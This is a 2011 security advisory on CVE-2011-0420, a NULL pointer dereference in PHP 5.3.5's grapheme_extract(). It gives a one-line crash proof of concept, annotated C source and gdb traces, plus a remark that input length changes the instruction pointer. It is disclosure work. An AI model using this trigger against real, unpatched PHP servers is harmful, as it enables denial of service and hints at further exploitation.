PHP 5.3.5 - grapheme_extract() Null Pointer Dereference

Source: http://securityreason.com/securityalert/8087



-----BEGIN PGP SIGNED MESSAGE-----

Hash: SHA1



[ PHP 5.3.5 grapheme_extract() NULL Pointer Dereference ]



Author: Maksymilian Arciemowicz

http://securityreason.com/

http://cxib.net/

Date:

- - Dis.: 09.12.2010

- - Pub.: 17.02.2011



CVE: CVE-2011-0420

CERT: VU#210829



Affected Software:

- - PHP 5.3.5



Fixed: SVN



Original URL:

http://securityreason.com/achievement_securityalert/94





- --- 0.Description ---

Internationalization extension (further is referred as Intl) is a wrapper

for ICU library, enabling PHP programmers to perform UCA-conformant

collation and date/time/number/currency formatting in their scripts.



grapheme_extract — Function to extract a sequence of default grapheme

clusters from a text buffer, which must be encoded in UTF-8.





- --- 1. PoC for grapheme_extract() ---

grapheme_extract('a',-1);



Change length of first parameter to change rip.





- --- 2. grapheme_extract() NULL Pointer Dereference ---

As we can see in grapheme_extract(str,size)



- -grapheme_extract()--

...

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sl|llz", (char

**)&str, &str_len, &size, &extract_type, &lstart, &next) == FAILURE) {

<=== str='a' and size='-1'

...

/* if the string is all ASCII up to size+1 - or str_len whichever is first

- then we are done.

(size + 1 because the size-th character might be the beginning of a

grapheme cluster)

*/



if ( -1 != grapheme_ascii_check(pstr, size + 1 < str_len ? size + 1 :

str_len ) ) { <=== ( size=-1+1=0 ) ===

long nsize = ( size < str_len ? size : str_len ); <=== nsize = -1

if ( NULL != next ) {

ZVAL_LONG(next, start+nsize);

}

RETURN_STRINGL(((char *)pstr), nsize, 1); <=== CRASH POINT

}

...

- -grapheme_extract()--



if we call to grapheme_ascii_check(pstr,0) where



- -grapheme_ascii_check()--

/* {{{ grapheme_ascii_check: ASCII check */

int grapheme_ascii_check(const unsigned char *day, int32_t len) <====

len=0

{

int ret_len = len;

while ( len-- ) {

if ( *day++ > 0x7f )

return -1;

}



return ret_len; <=== return 0

}

- -grapheme_ascii_check()--



then we get (int)0 in result and



long nsize = ( size < str_len ? size : str_len );



will be -1. Therefore,



RETURN_STRINGL(((char *)pstr), nsize, 1);



give NULL pointer dereference here.



Changing length of first parameter of grapheme_extract(), we will also

change rip in memcpy(3).



(gdb) r -r 'grapheme_extract('a',-1);'

...

(gdb) x/i $rip

=> 0x7ffff5511d99 <memcpy+777>: mov %rax,(%rdi)

(gdb) x/x $rax

0xf9891857a6e70f70: Cannot access memory at address 0xf9891857a6e70f70

(gdb) x/x $rdi

0x11b2000: Cannot access memory at address 0x11b2000

(gdb) r -r

'grapheme_extract('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'

,-1);'

...

(gdb) x/i $rip

=> 0x7ffff5511d77 <memcpy+743>: mov 0x18(%rsi),%r10

(gdb) x/x $rsi

0x11b1fe8: 0x00000000



- --- 3. Fix ---

CVS

http://svn.php.net/viewvc?view=revision&revision=306449





- --- 4. Greets ---

Pierre, Stas, sp3x, infospec





- --- 5. Contact ---

Author: Maksymilian Arciemowicz [ SecurityReason.com ]



Email:

- - cxib {a\./t]securityreason[d=t} com



GPG:

- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg



http://securityreason.com/

http://cxib.net/



-----BEGIN PGP SIGNATURE-----

Version: GnuPG v1.4.10 (GNU/Linux)



iQIcBAEBAgAGBQJNXFUmAAoJEIO8+dzW5bUwCvgP/RJCNbPYGy0L366IAyjS4JTf

SJ3yt0Vur/v0lPW25+avn1cM/h9eV4o1I41GUvtHB4B4QZKTMx1IXzltCKLVixF8

9Go6ACO8XgtYGpMHRE6ODzHTRLvpdKlIITeviEuCCgRaDOfY2Aov1Kv3V2r24csu

mwi6zz0zRwx+34rSNy9AYj7bhHY3OwdFoJ43RIMVNEhastSmfIR9D0a60OAKVBsA

138tDvkNVsJGUFx06sig2uMuZ6F948pr8L7Y7R+HIoMTAg+udkGdfBa4FLkVJIE8

g5kFjJzTE43k3X+Dh7GEf6xEEkNCME3XoSLEDmD/G/+TC6GgmGBokhXExqc0aIJo

c7ufy4khYkYKuLhQBnSeGknq9l8X1l9PIJSYr0qeY/Dga4NIDhccJuTnmE0xAYGY

bmizSRGKKz9e05JDGcKy51mS2zP/fU6NsjgkuIezkBsuQL/6U2k9FYWfymgi+zwy

isRqtmE67pF7xmUybE4nTd4FOZbo7Kkx4g32C7xGyPdnCufnahD+9NXaaDv2HhTk

vE5d2EZr1jJyszkY/x2ZUdnMNLp4Ahwj/RpnLlV+//97cuDmjqTLd8Yhu2q2D7k/

wsgrej0XFPGTIEfXNxWIgaD2g/9C9MPPFOt8M9xu+v7jJC0be72QPxnThbSdEyAh

0m12NQTJ+ko52o1g25Z/

=PBFA

-----END PGP SIGNATURE-----